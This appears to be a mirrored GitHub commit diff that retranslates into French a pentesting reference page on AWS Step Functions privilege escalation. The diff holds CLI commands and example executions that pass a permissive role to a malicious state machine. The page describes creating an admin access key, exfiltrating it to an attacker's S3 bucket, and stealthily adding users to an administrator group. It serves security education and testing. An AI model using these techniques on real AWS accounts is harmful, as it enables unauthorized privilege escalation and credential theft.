mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
+27
-27
@@ -4,32 +4,32 @@
|
||||
|
||||
## Step Functions
|
||||
|
||||
For more information about this AWS service, check:
|
||||
Pour plus d'informations sur ce service AWS, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-stepfunctions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Ressources de tâches
|
||||
### Task Resources
|
||||
|
||||
Ces techniques d'escalade de privilèges vont nécessiter l'utilisation de certaines ressources Step Functions d'AWS afin d'exécuter les actions d'escalade de privilèges souhaitées.
|
||||
Ces techniques d'escalade de privilèges vont nécessiter l'utilisation de certaines ressources AWS Step Functions afin d'effectuer les actions d'escalade de privilèges souhaitées.
|
||||
|
||||
Pour vérifier toutes les actions possibles, vous pouvez vous rendre dans votre compte AWS, sélectionner l'action que vous souhaitez utiliser et voir les paramètres qu'elle utilise, comme dans :
|
||||
Pour vérifier toutes les actions possibles, vous pouvez vous rendre dans votre propre compte AWS, sélectionner l'action que vous souhaitez utiliser et voir les paramètres qu'elle utilise, comme dans :
|
||||
|
||||
<figure><img src="../../../images/telegram-cloud-photo-size-4-5920521132757336440-y.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Vous pouvez également consulter la documentation API d'AWS et vérifier la documentation de chaque action :
|
||||
Ou vous pouvez aussi consulter la documentation API AWS et vérifier la documentation de chaque action :
|
||||
|
||||
- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html)
|
||||
- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html)
|
||||
|
||||
### `states:TestState` & `iam:PassRole`
|
||||
|
||||
An attacker with the **`states:TestState`** & **`iam:PassRole`** permissions can test any state and pass any IAM role to it without creating or updating an existing state machine, potentially enabling unauthorized access to other AWS services with the roles' permissions. Combined, these permissions can lead to extensive unauthorized actions, from manipulating workflows to alter data to data breaches, resource manipulation, and privilege escalation.
|
||||
Un attaquant disposant des permissions **`states:TestState`** et **`iam:PassRole`** peut tester n'importe quel state et lui passer n'importe quel rôle IAM sans créer ni mettre à jour un state machine existant, ce qui peut permettre un accès non autorisé à d'autres services AWS avec les permissions des rôles. Combinées, ces permissions peuvent conduire à des actions non autorisées étendues, allant de la manipulation de workflows et de la modification de données à des fuites de données, la manipulation de ressources et l'escalade de privilèges.
|
||||
```bash
|
||||
aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
|
||||
aws stepfunctions test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
|
||||
```
|
||||
Les exemples suivants montrent comment tester un state qui crée une clé d'accès pour l'utilisateur **`admin`** en tirant parti de ces permissions et d'un rôle permissif de l'environnement AWS. Ce rôle permissif doit avoir une politique fortement privilégiée associée (par exemple **`arn:aws:iam::aws:policy/AdministratorAccess`**) qui permet au state d'effectuer l'action **`iam:CreateAccessKey`** :
|
||||
Les exemples suivants montrent comment tester un state qui crée une access key pour l'utilisateur **`admin`** en tirant parti de ces permissions et d'un rôle permissif dans l'environnement AWS. Ce rôle permissif doit avoir une politique à privilèges élevés associée (par exemple **`arn:aws:iam::aws:policy/AdministratorAccess`**) qui permet au state d'effectuer l'action **`iam:CreateAccessKey`** :
|
||||
|
||||
- **stateDefinition.json**:
|
||||
```json
|
||||
@@ -59,23 +59,23 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn
|
||||
"status": "SUCCEEDED"
|
||||
}
|
||||
```
|
||||
**Potential Impact** : Exécution et manipulation non autorisées des workflows et accès à des ressources sensibles, pouvant entraîner des violations de sécurité importantes.
|
||||
**Impact potentiel**: Exécution et manipulation non autorisées des workflows et accès à des ressources sensibles, pouvant entraîner des violations de sécurité importantes.
|
||||
|
||||
### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
|
||||
|
||||
Un attaquant disposant des permissions **`states:CreateStateMachine`**& **`iam:PassRole`** pourrait créer une state machine et lui fournir n'importe quel rôle IAM, permettant ainsi un accès non autorisé à d'autres services AWS avec les permissions du rôle. Contrairement à la précédente technique de privesc (**`states:TestState`** & **`iam:PassRole`**), celle-ci ne s'exécute pas d'elle‑même : vous devrez également disposer des permissions **`states:StartExecution`** ou **`states:StartSyncExecution`** (**`states:StartSyncExecution`** n'est **pas disponible pour les workflows standard**, **seulement pour les state machines de type Express**) afin de démarrer une exécution de la state machine.
|
||||
Un attaquant disposant des permissions **`states:CreateStateMachine`** et **`iam:PassRole`** pourrait créer une state machine et lui associer n'importe quel rôle IAM, permettant un accès non autorisé à d'autres services AWS avec les permissions du rôle. Contrairement à la technique de privesc précédente (**`states:TestState`** & **`iam:PassRole`**), celle-ci ne s'exécute pas d'elle-même : vous devrez également disposer des permissions **`states:StartExecution`** ou **`states:StartSyncExecution`** (**`states:StartSyncExecution`** is **not available for standard workflows**, **just to express state machines**) afin de lancer une exécution de la state machine.
|
||||
```bash
|
||||
# Create a state machine
|
||||
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
|
||||
aws stepfunctions create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
|
||||
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
|
||||
|
||||
# Start a state machine execution
|
||||
aws states start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
|
||||
aws stepfunctions start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
|
||||
|
||||
# Start a Synchronous Express state machine execution
|
||||
aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
|
||||
aws stepfunctions start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
|
||||
```
|
||||
Les exemples suivants montrent comment créer une state machine qui crée une access key pour l'utilisateur **`admin`** et exfiltre cette access key vers un S3 bucket contrôlé par un attaquant, en tirant parti de ces permissions et d'un rôle permissif de l'environnement AWS. Ce rôle permissif doit avoir une policy hautement privilégiée associée (par exemple **`arn:aws:iam::aws:policy/AdministratorAccess`**) qui permet à la state machine d'effectuer les actions **`iam:CreateAccessKey`** & **`s3:putObject`**.
|
||||
Les exemples suivants montrent comment créer une state machine qui crée une access key pour l'utilisateur **`admin`** et exfiltrates cette access key vers un bucket S3 contrôlé par l'attaquant, en tirant parti de ces permissions et d'un rôle permissif dans l'environnement AWS. Ce rôle permissif doit avoir une politique à haut privilège associée (par exemple **`arn:aws:iam::aws:policy/AdministratorAccess`**) permettant à la state machine d'exécuter les actions **`iam:CreateAccessKey`** & **`s3:putObject`**.
|
||||
|
||||
- **stateMachineDefinition.json**:
|
||||
```json
|
||||
@@ -115,7 +115,7 @@ Les exemples suivants montrent comment créer une state machine qui crée une ac
|
||||
}
|
||||
}
|
||||
```
|
||||
- **Commande** exécutée pour **créer la machine d'état**:
|
||||
- **Commande** exécutée pour **créer la state machine**:
|
||||
```bash
|
||||
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
|
||||
{
|
||||
@@ -132,26 +132,26 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Le bucket S3 contrôlé par l'attaquant doit avoir les permissions pour accepter une action s3:PutObject provenant du compte victime.
|
||||
> Le bucket S3 contrôlé par l'attaquant doit disposer des autorisations pour accepter une action s3:PutObject depuis le compte victime.
|
||||
>
|
||||
> **Impact potentiel**: exécution et manipulation non autorisées des workflows et accès à des ressources sensibles, pouvant conduire à des violations de sécurité importantes.
|
||||
|
||||
**Impact potentiel**: Exécution et manipulation non autorisées des workflows et accès à des ressources sensibles, pouvant conduire à des violations de sécurité importantes.
|
||||
### `states:UpdateStateMachine` & (pas toujours requis) `iam:PassRole`
|
||||
|
||||
### `states:UpdateStateMachine` & (not always required) `iam:PassRole`
|
||||
Un attaquant disposant de la permission **`states:UpdateStateMachine`** pourrait modifier la définition d'une state machine, en ajoutant des états furtifs supplémentaires susceptibles de conduire à une escalation de privilèges. Ainsi, lorsqu'un utilisateur légitime lance une exécution de la state machine, ce nouvel état malveillant furtif s'exécutera et l'escalade de privilèges aboutira.
|
||||
|
||||
Un attaquant disposant de la permission **`states:UpdateStateMachine`** pourrait modifier la définition d'une state machine, en ajoutant des états furtifs supplémentaires pouvant aboutir à une escalade de privilèges. Ainsi, lorsqu'un utilisateur légitime démarre une exécution de la state machine, ce nouvel état malveillant furtif sera exécuté et l'escalade de privilèges réussira.
|
||||
Selon le degré de permissivité du IAM Role associé à la state machine, un attaquant se trouverait dans l'une des deux situations suivantes :
|
||||
|
||||
Selon le degré de permissivité du IAM Role associé à la state machine, un attaquant se trouverait face à 2 situations :
|
||||
|
||||
1. **Permissive IAM Role**: Si le IAM Role associé à la state machine est déjà permissif (il possède par exemple la politique **`arn:aws:iam::aws:policy/AdministratorAccess`** attachée), alors la permission **`iam:PassRole`** ne serait pas nécessaire pour escalader les privilèges puisqu'il ne serait pas nécessaire de mettre à jour aussi le IAM Role ; la modification de la définition de la state machine suffit.
|
||||
2. **Not permissive IAM Role**: Contrairement au cas précédent, ici un attaquant aurait également besoin de la permission **`iam:PassRole`** car il serait nécessaire d'associer un IAM Role permissif à la state machine en plus de modifier la définition de la state machine.
|
||||
1. **Permissive IAM Role** : Si le IAM Role associé à la state machine est déjà permissif (il possède par exemple la policy **`arn:aws:iam::aws:policy/AdministratorAccess`** attachée), alors la permission **`iam:PassRole`** ne serait pas nécessaire pour escalader les privilèges puisque la mise à jour de la définition de la state machine suffirait.
|
||||
2. **Not permissive IAM Role** : Contrairement au cas précédent, ici un attaquant aurait aussi besoin de la permission **`iam:PassRole`** car il serait nécessaire d'associer un IAM Role permissif à la state machine en plus de modifier la définition de la state machine.
|
||||
```bash
|
||||
aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
|
||||
aws stepfunctions update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
|
||||
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
|
||||
```
|
||||
Les exemples suivants montrent comment mettre à jour une state machine légitime qui invoque simplement une fonction Lambda HelloWorld, afin d'ajouter un état supplémentaire qui ajoute l'utilisateur **`unprivilegedUser`** au groupe IAM **`administrator`**. Ainsi, lorsqu'un utilisateur légitime lance une exécution de la state machine mise à jour, ce nouvel état malveillant et furtif sera exécuté et l'escalade de privilèges réussira.
|
||||
Les exemples suivants montrent comment mettre à jour une state machine légitime qui n'invoque qu'une fonction HelloWorld Lambda, afin d'ajouter un état supplémentaire qui ajoute l'utilisateur **`unprivilegedUser`** au groupe IAM **`administrator`**. Ainsi, lorsqu'un utilisateur légitime démarre une exécution de la state machine modifiée, ce nouvel état malveillant et furtif sera exécuté et l'escalade de privilèges réussira.
|
||||
|
||||
> [!WARNING]
|
||||
> Si la state machine n'a pas de rôle IAM permissif associé, la permission **`iam:PassRole`** serait également requise pour mettre à jour le rôle IAM afin d'associer un rôle IAM permissif (par exemple un rôle avec la **`arn:aws:iam::aws:policy/AdministratorAccess`** policy attachée).
|
||||
> Si la state machine n'a pas de IAM Role permissif associé, la permission **`iam:PassRole`** serait également requise pour mettre à jour le IAM Role afin d'associer un IAM Role permissif (par exemple un rôle avec la politique **`arn:aws:iam::aws:policy/AdministratorAccess`** attachée).
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Legit State Machine" }}
|
||||
@@ -226,6 +226,6 @@ aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-eas
|
||||
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
|
||||
}
|
||||
```
|
||||
**Impact potentiel**: Exécution et manipulation non autorisées des workflows et accès aux ressources sensibles, pouvant entraîner d'importantes violations de sécurité.
|
||||
**Impact potentiel** : Exécution et manipulation non autorisées des workflows et accès à des ressources sensibles, pouvant entraîner des violations de sécurité importantes.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user